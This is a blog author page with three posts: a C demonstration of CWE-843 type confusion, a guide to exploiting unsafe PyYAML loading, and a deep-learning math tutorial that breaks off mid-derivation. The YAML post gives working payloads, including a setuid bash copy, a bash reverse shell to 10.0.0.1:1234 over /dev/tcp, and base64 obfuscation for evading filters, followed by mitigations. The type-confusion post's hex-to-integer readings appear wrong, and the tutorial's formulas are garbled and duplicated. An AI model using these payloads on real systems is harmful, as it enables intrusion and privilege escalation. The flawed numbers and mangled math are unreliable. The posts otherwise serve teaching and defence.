Forem: Fatih Küçükkarakurt

Review of CWE-843 Type Confusion Vulnerability and Exploit

Fatih Küçükkarakurt — Fri, 01 Aug 2025 17:46:37 +0000

In the world of low-level programming, what you think you're accessing isn't always what you're really accessing. This subtle mismatch between the type a programmer assumes and the actual memory layout is at the heart of a class of bugs known as type confusion vulnerabilities.

While buffer overflows and use-after-free bugs have long taken the spotlight, CWE-843 (Access of Resource Using Incompatible Type) lurks quietly beneath the surface, waiting for the right moment to break memory safety and expose critical systems. It’s not just a theoretical issue. Type confusion has been exploited in real-world CVEs affecting everything from browser engines to embedded firmware.

Let’s explore how one incorrect assumption about types can open the door to undefined behavior and how attackers can walk right through it.

Understanding Type Systems and Memory Layouts

C is a low-level language that gives you direct access to memory, but it does very little to protect you from misusing that power. The compiler trusts you to know what you’re doing especially when it comes to how types map to memory.

In theory, the type system in C should help organize data: an int is 4 bytes, a char is 1 byte, a struct groups fields together, and arrays lay out elements linearly in memory. But the type system isn’t enforced at runtime. It exists mostly to help the compiler generate the right instructions. If you cast a pointer to another type, the compiler will go along with it, no questions asked.

That’s where things get dangerous. When you access memory using an incompatible type say, treating an int[] as a char* or casting a struct pointer to something else you might interpret memory incorrectly. This can result in anything from silent logic bugs to critical vulnerabilities.

The memory layout of objects, especially in the presence of padding, alignment, or architecture-specific behavior, is crucial. If your mental model of the layout doesn’t match the actual representation, you’re flying blind. And in systems programming, that almost always ends badly.

The wrong type tells the program to read or write memory in a way it was never supposed to. That’s not just undefined behavior—it’s an entry point for attackers.

Accessing Resources Using Incompatible Types

Let's build a concrete example of how treating one type as another can let an attacker bypass intended restrictions or access unintended memory. This is the kind of scenario that CWE-843 specifically targets.

Suppose we have a kernel-like interrupt handler that only allows certain high-priority IRQs (interrupt requests) to be processed. The program uses an int[] array to store priorities, but access to this array isn’t type-checked at runtime. That’s where things go wrong.

Here’s a minimal C example:

#include <stdio.h>
#include <stdlib.h>

int current_priority = 3;
int irq_priority[5] = {1, 2, 3, 4, 5};

void process_interrupt(int irq) {
    printf("Processing interrupt %d\n", irq);
}

void interrupt_handler(int irq) {
    if (irq_priority[irq] < current_priority) {
        fprintf(stderr, "Warning: Interrupt %d dropped (priority too low)\n", irq);
        exit(EXIT_FAILURE);
    }
    process_interrupt(irq);
}

This seems fine at first glance. But what if irq is user-controlled and passed unchecked?

Now let’s simulate an attacker exploiting this by crafting a fake irq value that causes the handler to interpret unrelated memory as if it were part of the irq_priority array.

#include <string.h>

char secret[] = "TOP_SECRET_STRING";

int main() {
    // Forcefully interpret `secret` as if it were part of irq_priority
    int *fake_irq_priority = (int *)secret;

    // Simulate misbehavior: access the fake array through type punning
    for (int i = 0; i < 4; i++) {
        printf("Fake priority[%d]: %d\n", i, fake_irq_priority[i]);
    }

    // If irq_priority is improperly accessed via fake index,
    // memory past legitimate bounds is revealed.
}

With the right pointer arithmetic and type casting, secret gets interpreted as an integer array. If this casting happens in a function that trusts the type, we can accidentally (or maliciously) extract data not meant to be exposed.

This is where type confusion turns into a data disclosure vulnerability. Even though types are declared safely, the language makes it trivial to reinterpret memory as a different type—without checks or warnings.

If you want to simulate:

// cwe-843.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Legitimate system-level globals
int current_priority = 3;
int irq_priority[5] = {1, 2, 3, 4, 5};

void process_interrupt(int irq) {
    printf("Legitimately processing interrupt %d\n", irq);
}

void interrupt_handler(int irq) {
    if (irq_priority[irq] < current_priority) {
        fprintf(stderr, "Interrupt %d dropped (priority too low)\n", irq);
        exit(EXIT_FAILURE);
    }
    process_interrupt(irq);
}

// Attacker-controlled buffer simulating sensitive memory
char secret[] = "TOP_SECRET_STRING";

// Simulated type confusion exploit
void simulate_type_confusion() {
    printf("\nSimulating type confusion...\n");

    // Type punning: treat a char* as int*
    int *fake_irq_priority = (int *)secret;

    for (int i = 0; i < 4; i++) {
        printf("fake_irq_priority[%d] = %d\n", i, fake_irq_priority[i]);
    }

    int forged_irq = 0;

    if (fake_irq_priority[forged_irq] >= current_priority) {
        printf("Attacker triggers process_interrupt with forged value %d\n", fake_irq_priority[forged_irq]);
        process_interrupt(forged_irq);
    } else {
        printf("Forged priority too low: %d\n", fake_irq_priority[forged_irq]);
    }
}

int main() {
    printf("Initial legitimate IRQ processing:\n");
    interrupt_handler(4); // Legit call, priority 4 >= 3

    simulate_type_confusion();

    return 0;
}

gcc -o cwe-843 cwe-843.c -Wall

Why This Matters

In real-world systems—kernels, firmware, embedded software—this exact pattern shows up all the time. Functions receive untrusted input and make decisions based on type-dependent logic, without actual runtime type verification. The result? Attackers manipulate memory by simply shifting how it’s interpreted.

From Logical Flaws to Arbitrary Memory Access

Type confusion vulnerabilities are often underestimated because, on the surface, they may appear as harmless logic bugs one pointer cast gone wrong, a compiler warning ignored. However, beneath this simplicity lies a dangerous class of bugs that, if left unchecked, allow attackers to pierce memory safety boundaries and access or modify arbitrary locations in memory.

In our previous example, a char buffer was force-cast to an int *, simulating a malicious reinterpretation of memory. What looks like a benign reinterpretation becomes lethal in systems that rely on strict memory layouts for control flow decisions. This is especially common in embedded systems, real-time OS kernels, and any C/C++ system that manages memory manually.

The core issue is not just the cast, but the assumption that memory behind the pointer is of a certain type and layout. When that assumption is violated, everything built atop it bounds checks, privilege checks, pointer arithmetic becomes unreliable. That's the moment logical flaws escalate into memory corruption, memory disclosure, or even arbitrary code execution.

Consider a scenario where attacker-controlled memory overlaps with security-critical structures like access control tables, function pointers, or interrupt priorities. By injecting values with carefully aligned bytes, the attacker can coerce the system into reading forged permissions, executing unintended paths, or skipping checks entirely. This is how logical flaws transition into full-blown memory safety violations.

In modern exploit development, especially in CTFs or in-the-wild kernel exploits, these primitives are often used to achieve memory disclosure (infoleak) or arbitrary read/write, which serve as the groundwork for more advanced attacks like ROP or shellcode injection.

Memory Reinterpretation in Action

To clearly demonstrate how type confusion can lead to arbitrary memory access, let's take a closer look at what’s happening in memory. The buffer char secret[] = "TOP_SECRET_STRING" resides next to critical system-level variables like irq_priority. If an attacker is able to cast this buffer as int *, they can read (and potentially write) memory in 4-byte chunks — completely misaligned with the buffer’s original type.

Below is a simplified hexdump-like view of the memory, along with the output of the type-punning operation:

📌 Simulated Memory Layout (Hex View)

0x601000:  0x54 0x4F 0x50 0x5F    T O P _
0x601004:  0x53 0x45 0x43 0x52    S E C R
0x601008:  0x45 0x54 0x5F 0x53    E T _ S
0x60100C:  0x54 0x52 0x49 0x4E    T R I N

📌 Fake Interpretation as int *
(Casting char *secret to int * and reading integers from it)

fake_irq_priority[0] = 0x5F504F54  // '_POT' → Interpreted as int
fake_irq_priority[1] = 0x52434553  // 'RCES'
fake_irq_priority[2] = 0x535F5445  // 'S_TE'
fake_irq_priority[3] = 0x4E495254  // 'NIRT'

Each 4-byte read leaks a part of the string buffer, but interpreted as meaningless integers. Still, these values can bypass checks like if (irq_priority[irq] < current_priority) because they may coincidentally satisfy the condition due to their numeric representation.

📌 Exploit Result

Simulating type confusion...
fake_irq_priority[0] = 1600942164
fake_irq_priority[1] = 1379997027
fake_irq_priority[2] = 1397506917
fake_irq_priority[3] = 1313037364
Attacker triggers process_interrupt with forged value 1600942164
Legitimately processing interrupt 0

Even though the real irq_priority[0] = 1, the forged value from secret[0..3] is numerically 1600942164, easily passing the >= current_priority check.

I recommend you check out:

Be Careful When Using YAML in Python! There May Be Security Vulnerabilities

Fatih Küçükkarakurt — Thu, 02 Jan 2025 19:34:59 +0000

The YAML (YAML Ain't Markup Language) library in Python has been identified as having vulnerabilities that allow the execution of arbitrary commands under certain conditions. The vulnerability arises from the use of the yaml.load function without specifying a safe loader. By default, yaml.load can execute arbitrary Python objects, which creates an attack surface for malicious payloads.

Exploitation via Arbitrary Command Execution

The fundamental risk lies in the deserialization process. When a YAML document contains a malicious payload, yaml.load processes the embedded directives, potentially leading to code execution. For example, consider the following snippet:

import yaml

filename = "example.yml"
data = open(filename, 'r').read()
yaml.load(data)  # Unsafe usage

Here, the yaml.load function parses example.yml without restrictions, making it vulnerable if the YAML content includes unsafe directives. A typical exploit payload can be crafted to execute arbitrary system commands.

Example Payload

import yaml
from yaml import Loader, UnsafeLoader

# Malicious payload
payload = b'!!python/object/new:os.system ["cp `which bash` /tmp/bash;chown root /tmp/bash;chmod u+sx /tmp/bash"]'

# Exploitation
yaml.load(payload)
yaml.load(payload, Loader=Loader)
yaml.load(payload, Loader=UnsafeLoader)

Each of these invocations processes the payload, resulting in the creation of a privileged executable in /tmp/bash. This binary can then be executed with elevated privileges:

/tmp/bash -p

This demonstrates the potential for privilege escalation if the vulnerability is exploited on a system with misconfigured permissions or other weaknesses.

Reverse Shell Exploitation

A particularly insidious use case is leveraging the vulnerability for a reverse shell. This allows attackers to gain remote access to the target machine. The process involves starting a listener on the attacker's machine and crafting a YAML document designed to establish the reverse connection.

On the attacker's machine, initiate a Netcat listener:

nc -lvnp 1234

On the target system, execute the following Python script as root:

import yaml

# Reverse shell payload
data = '!!python/object/new:os.system ["bash -c \"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\""]'
yaml.load(data)  # Executes the reverse shell

This payload instructs the target machine to connect back to the attacker's listener, providing a fully interactive shell with the privileges of the executing process.

Base64 Encoding for Obfuscation

To bypass basic security controls or filters, the payload can be Base64-encoded. This method adds a layer of obfuscation, potentially evading detection by static analysis tools.

Example

from base64 import b64decode
import yaml

# Base64-encoded payload
encoded_payload = b"ISFweXRa...YXNoIl0="  # Truncated for brevity
payload = b64decode(encoded_payload)

# Execute the payload
yaml.load(payload)

Mitigation Techniques

Professionals must adopt strict coding practices to eliminate such vulnerabilities. Recommended mitigations include:

Using Safe Loaders: Replace yaml.load with yaml.safe_load, which prevents the execution of arbitrary objects.
```
import yaml

yaml.safe_load(data)  # Safe alternative
```
Restricting Input Sources: Ensure YAML inputs are sanitized and originate only from trusted sources.
Applying Static Analysis: Use tools to scan codebases for unsafe yaml.load invocations.
Environment Hardening: Restrict system permissions to minimize the impact of exploitation. For example, using containerized environments limits an attacker's ability to escalate privileges.

The YAML library’s default behavior exemplifies the risks associated with deserialization in dynamically typed languages like Python. Exploiting this vulnerability requires minimal sophistication, making it a high-priority issue for secure application development. Adopting safe coding practices, along with robust input validation and runtime safeguards, is imperative to mitigate these risks effectively.

How Does Deep Learning Work? Can You Write Simple Deep Learning Code at Home?

Fatih Küçükkarakurt — Wed, 01 Jan 2025 15:52:00 +0000

Artificial Neural Networks (ANNs) have revolutionized the fields of artificial intelligence and machine learning, serving as the backbone for a wide range of applications, from image recognition to natural language processing. While powerful frameworks like TensorFlow and PyTorch make building deep learning models accessible, there is tremendous educational value in implementing neural networks from scratch.

This guide aims to empower enthusiasts and researchers by demonstrating how to construct and train neural networks at a fundamental level using ANSI C and Python. By combining the low-level control of C with Python's simplicity, we will explore every detail of neural network theory and implementation. Whether you are an aspiring engineer or a seasoned programmer, this step-by-step guide will equip you with the knowledge to design, implement, and train your own neural networks, laying the foundation for tackling real-world problems and advancing your understanding of deep learning.

Because I realized that there are a lot of courses and books on the market. However, these contents always explain what certain libraries and frameworks can do. In fact, they do not explain much about what is behind the scenes. This means a rote learning system. So let's all try to learn what is behind this.

Theoretical Foundations of Neural Networks

Artificial Neural Networks (ANNs) are computational frameworks inspired by the structure and function of biological neural networks. Their theoretical foundation is deeply rooted in mathematics, computer science, and neuroscience, integrating concepts from linear algebra, calculus, and optimization. This section delves into the fundamental principles that govern neural networks, exploring their architecture, mathematical formulations, and learning dynamics.

1. Neural Network Architecture

The architecture of a neural network is defined by its layers: input, hidden, and output. Each layer comprises interconnected neurons, or nodes, where:

Input Layer serves as the entry point, receiving raw data.
Hidden Layers perform nonlinear transformations, extracting abstract features from input data.
Output Layer provides the final predictions or classifications.

The connectivity and arrangement of these layers dictate the network's ability to model complex functions, with deeper networks enabling hierarchical feature extraction.

2. The Neuron Model

At the core of a neural network is the artificial neuron, a mathematical abstraction of biological neurons. The neuron operates as follows:

\sum_{i=1}^n w_i x_i + b

Here:

$x_i$ : Input features.
$w_i$ : Weights assigned to inputs.
$b$ : Bias term, enhancing flexibility in decision boundaries.

The output, $a$ , is obtained by applying an activation function, $ϕ\phi$ , to $z$ :

\phi(z)

3. Activation Functions

Activation functions introduce nonlinearity, enabling neural networks to approximate complex, nonlinear functions. Commonly used functions include:

Sigmoid: Smooth, bounded between 0 and 1. Ideal for probabilities but prone to vanishing gradients.
ReLU (Rectified Linear Unit): Efficient and computationally simple, mitigating the vanishing gradient problem.
Tanh: Zero-centered, offering improved convergence compared to sigmoid.

The choice of activation function significantly impacts the network’s learning capability and convergence speed.

4. Forward Propagation

Forward propagation is the process of passing input data through the network to compute output predictions. Mathematically, this involves:

Computing the weighted sum of inputs for each neuron.
Applying the activation function to obtain the neuron’s output.
Propagating the outputs layer by layer until the final prediction is produced.

This mechanism represents the evaluation of the network's hypothesis function, mapping inputs to outputs.

5. Loss Functions

To train a neural network, a loss function quantifies the difference between predicted and actual outputs. Common loss functions include:

Mean Squared Error (MSE): Used for regression tasks.

$L=1n∑i=1n(yi−y^i)2L = \frac{1}{n} \sum_{i=1}^n (y_i - \hat{y}_i)^2$
Cross-Entropy Loss: Employed in classification problems.

$L=−1n∑i=1n[yilog⁡(y^i)+(1−yi)log⁡(1−y^i)]L = -\frac{1}{n} \sum_{i=1}^n \left[ y_i \log(\hat{y}_i) + (1-y_i) \log(1-\hat{y}_i) \right]$

The choice of loss function determines the optimization objective, directly influencing the learning process.

6. Backpropagation and Gradient Descent

Backpropagation is the cornerstone of neural network training, enabling efficient computation of gradients. This process involves:

Computing Gradients: Using the chain rule to calculate the derivative of the loss with respect to weights and biases.
Updating Parameters: Employing gradient descent to minimize the loss function. The update rule is given by: $\gets w - \eta \frac{\partial L}{\partial w}$ where $e t a$ is the learning rate.

Backpropagation ensures that errors are propagated backward through the network, systematically updating weights to optimize performance.

7. The Universal Approximation Theorem

The theoretical underpinning of neural networks lies in the Universal Approximation Theorem, which states:

A feedforward neural network with a single hidden layer containing a finite number of neurons can approximate any continuous function on compact subsets of $Rn\mathbb{R}^n$ , given appropriate activation functions.

This theorem underscores the expressive power of neural networks, emphasizing their capacity to model arbitrarily complex relationships.

8. Challenges and Limitations

Despite their theoretical strengths, neural networks face several challenges:

Overfitting: Occurs when the model memorizes training data instead of generalizing.
Vanishing/Exploding Gradients: Impedes effective learning in deep networks.
Computational Complexity: Training deep networks requires significant computational resources.

Advanced techniques such as regularization, batch normalization, and residual connections have been developed to address these limitations.

Why Implement Neural Networks in ANSI C and Python?

Building neural networks from scratch in ANSI C and Python serves not only as an educational endeavor but also as a means to gain a profound understanding of the underlying mechanics of machine learning. This approach, while less common in production environments dominated by high-level frameworks, offers several compelling benefits and unique insights.

1. Pedagogical Value

Implementing neural networks from first principles allows practitioners to demystify the "black box" nature of deep learning models. By coding each layer, activation function, and backpropagation algorithm, one develops a granular understanding of:

The flow of data through the network during forward and backward passes.
The role of gradients in optimizing weights and biases.
The mathematical basis of concepts such as loss functions and gradient descent.

This hands-on approach transforms theoretical knowledge into practical expertise.

2. Full Control and Customization

Frameworks like TensorFlow and PyTorch abstract away many implementation details, which can be a limitation when attempting to experiment with novel architectures or optimization techniques. Implementing neural networks in ANSI C and Python provides full control over:

Memory allocation and management, critical in resource-constrained environments.
Custom optimization strategies and activation functions.
Specialized model designs tailored to unique datasets or applications.

This flexibility is invaluable for research and experimentation.

3. Performance Insights

ANSI C is known for its efficiency and low-level control over hardware, making it ideal for understanding performance bottlenecks in neural network computations. By implementing neural networks in C:

One learns the impact of computational efficiency on training time.
Optimization techniques, such as minimizing cache misses and efficient matrix operations, become apparent.
It offers insights into the trade-offs between precision, speed, and memory usage.

Similarly, Python, with its simplicity and versatility, acts as an excellent complement, enabling rapid prototyping while maintaining an accessible interface for experimentation.

4. Bridging Theory and Practice

High-level frameworks often obscure the relationship between theoretical concepts and their practical implementation. Writing neural networks in C and Python bridges this gap by:

Translating abstract mathematical equations into executable code.
Allowing direct visualization of each computational step, such as weight updates and error propagation.
Reinforcing the connections between theoretical models and real-world implementation.

This dual perspective strengthens one's ability to design and debug complex models effectively.

5. Cross-Language Expertise

Combining ANSI C and Python leverages the strengths of both languages:

ANSI C provides unparalleled control, enabling the development of optimized, hardware-level applications suitable for embedded systems or performance-critical environments.
Python offers simplicity, readability, and access to extensive scientific libraries for data preprocessing and visualization.

This synergy not only enhances coding versatility but also prepares practitioners for diverse real-world applications, from low-level embedded systems to high-level data analysis pipelines.

6. Learning from First Principles

Implementing neural networks from scratch encourages a first-principles approach, which is critical for innovation. This method involves:

Identifying fundamental concepts and assumptions.
Building a system piece by piece, gaining intuition about each component’s role.
Exploring the boundaries of existing methods, which can lead to novel discoveries.

Practitioners who understand systems at this level are better equipped to create breakthroughs in machine learning.

7. Preparing for Edge Computing

With the growing trend of deploying machine learning models on edge devices, resource efficiency becomes paramount. ANSI C's lightweight nature makes it an excellent choice for training and deploying models on constrained devices. Understanding how to implement neural networks in C prepares practitioners to:

Optimize models for low-power hardware, such as IoT devices and microcontrollers.
Minimize memory usage and maximize computational efficiency.
Develop portable solutions that integrate seamlessly with hardware systems.

8. Encouraging Innovation Beyond Frameworks

Relying solely on existing machine learning frameworks can limit creativity and restrict problem-solving approaches to the capabilities of those frameworks. By stepping outside these boundaries, practitioners can:

Develop unconventional architectures and optimization strategies.
Integrate machine learning directly into custom systems, bypassing unnecessary overhead.
Push the limits of what is achievable with current tools.

Mathematical Foundations

The mathematical foundations of neural networks provide the framework for understanding their structure, functionality, and learning dynamics. Rooted in linear algebra, calculus, probability theory, and optimization, these concepts underpin the development of algorithms that enable networks to learn from data and make predictions. A deep understanding of these principles is essential for designing efficient and robust models, paving the way for advancements in artificial intelligence and machine learning.

Linear Algebra for Neural Networks

Linear algebra serves as the cornerstone of neural network operations, enabling efficient representation and computation of multidimensional data. By leveraging vectors, matrices, and tensors, linear algebra facilitates the formulation and optimization of neural network architectures, ensuring scalability and performance in high-dimensional spaces. This section explores the essential concepts and operations in linear algebra that underpin neural network design and functionality.

1. Representing Data with Vectors and Matrices

In neural networks, input data, weights, and activations are often represented using vectors and matrices:

Vectors are one-dimensional arrays used to represent features of a single data instance:

$feature.\mathbf{x} = \begin{bmatrix} x_1 \ x_2 \ \vdots \ x_n \end{bmatrix}, \quad \text{where } x_i \text{ represents the } i\text{-th feature.}$
Matrices extend this concept to multiple instances, with rows corresponding to individual samples and columns to features:

$\mathbf{X} = \begin{bmatrix} x_{11} & x_{12} & \cdots & x_{1n} \ x_{21} & x_{22} & \cdots & x_{2n} \ \vdots & \vdots & \ddots & \vdots \ x_{m1} & x_{m2} & \cdots & x_{mn} \end{bmatrix}, \quad \text{where } m \text{ is the number of samples.}$

2. Weight Matrices and Linear Transformations

Weights in a neural network are represented as matrices that facilitate linear transformations of input data:

z=Wx+b,\mathbf{z} = \mathbf{W} \mathbf{x} + \mathbf{b},

where:

$W∈Rn×m\mathbf{W} \in \mathbb{R}^{n \times m}$ is the weight matrix, connecting $n$ -dimensional inputs to $m$ -dimensional outputs.
$b∈Rm\mathbf{b} \in \mathbb{R}^m$ is the bias vector, allowing for translation of the output space.

Linear transformations encapsulate the essence of feature extraction, enabling networks to learn meaningful representations of data.

3. Activation Computations Using Dot Products

The computation of activations in a neural network relies heavily on the dot product:

zj=∑i=1nwijxi+bj,\mathbf{z}j = \sum{i=1}^n w_{ij} x_i + b_j,

where $zj\mathbf{z}j$ is the pre-activation value of the $j$ -th neuron, calculated as the weighted sum of inputs $x\mathbf{x}$ with corresponding weights $wij\mathbf{w}{ij}$ . This operation is inherently parallelizable, making it efficient for large-scale neural networks.

4. Matrix Multiplication for Layer-Wide Computations

Matrix multiplication generalizes the computation of activations across entire layers:

Z=XW⊤+B,\mathbf{Z} = \mathbf{X} \mathbf{W}^\top + \mathbf{B},

where:

$X∈Rm×n\mathbf{X} \in \mathbb{R}^{m \times n}$ contains ( m ) input samples with ( n ) features each.
$W⊤∈Rn×h\mathbf{W}^\top \in \mathbb{R}^{n \times h}$ is the transposed weight matrix for ( h )-dimensional hidden units.
$B∈Rm×h\mathbf{B} \in \mathbb{R}^{m \times h}$ broadcasts the bias vector to match the sample size.

Efficient matrix multiplication algorithms are critical to the scalability of neural networks.

5. Tensor Algebra in Deep Networks

For more complex architectures, such as convolutional neural networks (CNNs), data is often represented as tensors:

A tensor is a generalization of vectors and matrices to higher dimensions, accommodating spatial and temporal relationships in data.
Operations such as tensor contraction and broadcasting enable flexible manipulation of these multidimensional arrays.

For instance, a three-dimensional tensor representing an image batch might be expressed as:

X∈Rb×h×w×c,\mathcal{X} \in \mathbb{R}^{b \times h \times w \times c},

where $b$ is the batch size, $h$ and $w$ are height and width, and $c$ represents the number of channels.

6. Eigenvalues and Singular Value Decomposition (SVD)

Advanced techniques in linear algebra, such as eigenvalue decomposition and singular value decomposition, play a pivotal role in understanding and optimizing neural networks:

Eigenvalues and Eigenvectors are used to analyze weight matrices, revealing insights into the network’s stability and learning dynamics.
SVD decomposes a matrix $W\mathbf{W}$ into: $W=UΣV⊤,\mathbf{W} = \mathbf{U} \mathbf{\Sigma} \mathbf{V}^\top,$ where $U\mathbf{U}$ and $V\mathbf{V}$ are orthogonal matrices, and $Σ\mathbf{\Sigma}$ is diagonal. This decomposition aids in dimensionality reduction and model compression.

7. Numerical Stability and Conditioning

Numerical stability is a critical consideration when implementing neural networks:

Poorly conditioned matrices, characterized by a high condition number, can lead to instability in training.
Techniques such as regularization and preconditioning are employed to mitigate these issues.

For example, the condition number of a matrix $mathbf{W}$ is defined as:

κ(W)=σmax⁡σmin⁡,\kappa(\mathbf{W}) = \frac{\sigma_{\max}}{\sigma_{\min}},

where $sigma_{\max}$ and $sigma_{\min}$ are the largest and smallest singular values, respectively.

Activation Functions

Activation functions are integral components of neural networks, determining how the weighted sum of inputs is transformed into an output for each neuron. These functions introduce non-linearity into the network, allowing it to model complex relationships between inputs and outputs. Without activation functions, a neural network would only be able to learn linear mappings, regardless of how many layers it had. Below, we explore the key activation functions used in neural networks, their properties, and their mathematical formulations.

1. Sigmoid Activation Function

The sigmoid function is one of the earliest activation functions used in neural networks. It outputs values in the range

(0, 1)

, making it suitable for binary classification tasks. The mathematical form of the sigmoid function is:

σ(x)=11+e−x\sigma(x) = \frac{1}{1 + e^{-x}}

where ( x ) is the input to the neuron. The derivative of the sigmoid function is:

σ′(x)=σ(x)(1−σ(x))\sigma'(x) = \sigma(x)(1 - \sigma(x))

While the sigmoid function was popular in early neural network architectures, it suffers from issues such as the vanishing gradient problem, which limits its ability to train deep networks effectively.

2. Hyperbolic Tangent (tanh)

The tanh function is similar to the sigmoid function but outputs values in the range (-1, 1), making it zero-centered. This helps alleviate some of the issues seen with sigmoid, particularly in terms of the gradient during backpropagation. The mathematical form of the tanh function is:

tanh⁡(x)=ex−e−xex+e−x\tanh(x) = \frac{e^{x} - e^{-x}}{e^{x} + e^{-x}}

The derivative of the $t anh$ function is:

tanh'(x) = 1 - \tanh^2(x)

Despite its advantages over sigmoid, tanh can still suffer from the vanishing gradient problem, especially when the inputs are far from zero.

3. Rectified Linear Unit (ReLU)

The ReLU activation function has become the most widely used activation function due to its simplicity and ability to mitigate the vanishing gradient problem. It is defined as:

ReLU(x)=max⁡(0,x)\text{ReLU}(x) = \max(0, x)

where $x$ is the input. ReLU outputs zero for any negative input and the identity function for any positive input. The derivative of the ReLU function is:

x>0\text{ReLU}'(x) = \begin{cases} 0 & \text{if } x < 0 \ 1 & \text{if } x > 0 \end{cases}

Although ReLU helps improve training speed and performance, it has some drawbacks, including the "dying ReLU" problem, where neurons can become inactive if they always output zero.

4. Leaky ReLU

To address the "dying ReLU" problem, the Leaky ReLU function introduces a small slope for negative inputs instead of setting them to zero. It is defined as:

x<0\text{Leaky ReLU}(x) = \begin{cases} x & \text{if } x \geq 0 \ \alpha x & \text{if } x < 0 \end{cases}

where $α\alpha$ is a small constant, typically set to $α=0.01\alpha = 0.01$ . The derivative of the Leaky ReLU function is:

x<0\text{Leaky ReLU}'(x) = \begin{cases} 1 & \text{if } x \geq 0 \ \alpha & \text{if } x < 0 \end{cases}

This modification allows Leaky ReLU to maintain a gradient for negative inputs, helping prevent neurons from "dying" during training.

5. Parametric ReLU (PReLU)

The PReLU function is an extension of Leaky ReLU where the slope $\alpha$ for negative inputs is learned during training. This makes PReLU more flexible and adaptive compared to Leaky ReLU. The mathematical form is:

x<0\text{PReLU}(x) = \begin{cases} x & \text{if } x \geq 0 \ \alpha x & \text{if } x < 0 \end{cases}

where $α\alpha$ is a learnable parameter. The derivative of PReLU is:

x<0\text{PReLU}'(x) = \begin{cases} 1 & \text{if } x \geq 0 \ \alpha & \text{if } x < 0 \end{cases}

PReLU is especially useful in deep networks where the optimal value of $α\alpha$ can vary between neurons, thus enhancing model flexibility.

6. Exponential Linear Unit (ELU)

The ELU function aims to address the vanishing gradient problem while allowing for negative activations. It is defined as:

x<0\text{ELU}(x) = \begin{cases} x & \text{if } x \geq 0 \ \alpha(e^x - 1) & \text{if } x < 0 \end{cases}

where $α\alpha$ is a positive constant that controls the value of the output for negative inputs. The derivative of the ELU function is:

x<0\text{ELU}'(x) = \begin{cases} 1 & \text{if } x \geq 0 \ \alpha e^x & \text{if } x < 0 \end{cases}

ELUs have been shown to speed up training and improve performance compared to ReLU, particularly in deep networks, by introducing non-zero outputs for negative inputs.

7. Softmax Function

The softmax activation function is used primarily in the output layer for multi-class classification problems. It converts the raw output of a network into a probability distribution across multiple classes. The mathematical form is:

Softmax(xi)=exi∑j=1Kexj\text{Softmax}(x_i) = \frac{e^{x_i}}{\sum_{j=1}^K e^{x_j}}

where $x_i$ is the output for class $i$ , and $K$ is the total number of classes. Softmax ensures that the sum of the output probabilities is equal to 1, making them interpretable as probabilities.

8. Comparison of Activation Functions

Function	Range	Non-linearity	Derivative	Strengths	Weaknesses
Sigmoid	$(0, 1)$	Yes	$σ(x)(1−σ(x))\sigma(x)(1-\sigma(x))$	Smooth gradient, probabilistic output	Vanishing gradient problem
Tanh	$(- 1, 1)$	Yes	$1 - \tanh^2(x)$	Zero-centered, faster convergence	Vanishing gradient problem
ReLU	$\infty)$	Yes	$\text{ if } x < 0, 1 \text{ if } x > 0$	Computationally efficient, no vanishing gradients	Dying ReLU problem
Leaky ReLU	$(−∞,∞)(-\infty, \infty)$	Yes	$x>0\alpha \text{ if } x < 0, 1 \text{ if } x > 0$	Solves dying ReLU problem	Requires tuning $α\alpha$
PReLU	$(−∞,∞)(-\infty, \infty)$	Yes	$x>0\alpha \text{ if } x < 0, 1 \text{ if } x > 0$	Learnable slope, adaptive	Computationally expensive
ELU	$(−∞,∞)(-\infty, \infty)$	Yes	$x<0\alpha e^x \text{ if } x < 0$	Improves training speed, continuous negative values	Requires tuning $α\alpha$
Softmax	$(0, 1)$	Yes	$exi∑exj\frac{e^{x_i}}{\sum e^{x_j}}$	Multi-class classification	Sensitive to outliers

Backpropagation: Derivation and Explanation

Backpropagation is the cornerstone of learning in artificial neural networks. It is a supervised learning algorithm used for training multi-layer neural networks by minimizing the error in the network’s predictions. The process involves computing gradients of the error with respect to the network’s weights and adjusting them using an optimization algorithm, typically stochastic gradient descent (SGD). In this section, we derive the backpropagation algorithm step by step, and explain its significance in neural network training.

1. Problem Setup

Consider a neural network with one hidden layer. The network receives an input $x=(x1,x2,…,xn)\mathbf{x} = (x_1, x_2, \dots, x_n)$ and produces an output $y^\hat{y}$ . The target output is denoted as $y$ . Let the weights connecting the input layer to the hidden layer be $W1\mathbf{W_1}$ , and the weights connecting the hidden layer to the output layer be $W2\mathbf{W_2}$ .

For simplicity, the activation functions in the hidden and output layers are denoted as $fh(⋅)f_h(\cdot)$ and $fo(⋅)f_o(\cdot)$ , respectively.

2. Forward Propagation

During the forward pass, the input is passed through the network to obtain the predicted output. For a given input $x\mathbf{x}$ , the output at the hidden layer $h\mathbf{h}$ is computed as:

h=fh(W1x+b1)\mathbf{h} = f_h(\mathbf{W_1} \mathbf{x} + \mathbf{b_1})

where $b1\mathbf{b_1}$ is the bias term for the hidden layer. The output $y^\hat{y}$ of the network is then computed as:

y^=fo(W2h+b2)\hat{y} = f_o(\mathbf{W_2} \mathbf{h} + \mathbf{b_2})

where $b2\mathbf{b_2}$ is the bias term for the output layer.

3. Loss Function

The loss function measures the error between the predicted output $y^\hat{y}$ and the actual target $y$ . A common choice for the loss function in regression problems is the Mean Squared Error (MSE):

L=12(y^−y)2L = \frac{1}{2} (\hat{y} - y)^2

The factor $12\frac{1}{2}$ is used to simplify the derivative calculation later. For classification problems, other loss functions such as cross-entropy can be used.

4. Backpropagation: Computing Gradients

The goal of backpropagation is to calculate the gradients of the loss function with respect to the weights $W1\mathbf{W_1}$ and $W2\mathbf{W_2}$ by applying the chain rule of differentiation. We will compute the gradient step-by-step, starting with the gradient of the loss function with respect to the output $y^\hat{y}$ .

4.1. Gradient of the Loss with respect to the Output Layer

We first compute the derivative of the loss function with respect to the output $y^\hat{y}$ :

∂L∂y^=y^−y \frac{\partial L}{\partial \hat{y}} = \hat{y} - y

Next, we compute the gradient of the loss with respect to the weights $W2\mathbf{W_2}$ . The chain rule tells us that:

∂L∂W2=∂L∂y^⋅∂y^∂W2 \frac{\partial L}{\partial \mathbf{W_2}} = \frac{\partial L}{\partial \hat{y}} \cdot \frac{\partial \hat{y}}{\partial \mathbf{W_2}}

Since the output $y^=fo(W2h+b2)\hat{y} = f_o(\mathbf{W_2} \mathbf{h} + \mathbf{b_2})$ , we have:

∂y^∂W2=fo′(W2h+b2)⋅h \frac{\partial \hat{y}}{\partial \mathbf{W_2}} = f_o'(\mathbf{W_2} \mathbf{h} + \mathbf{b_2}) \cdot \mathbf{h}

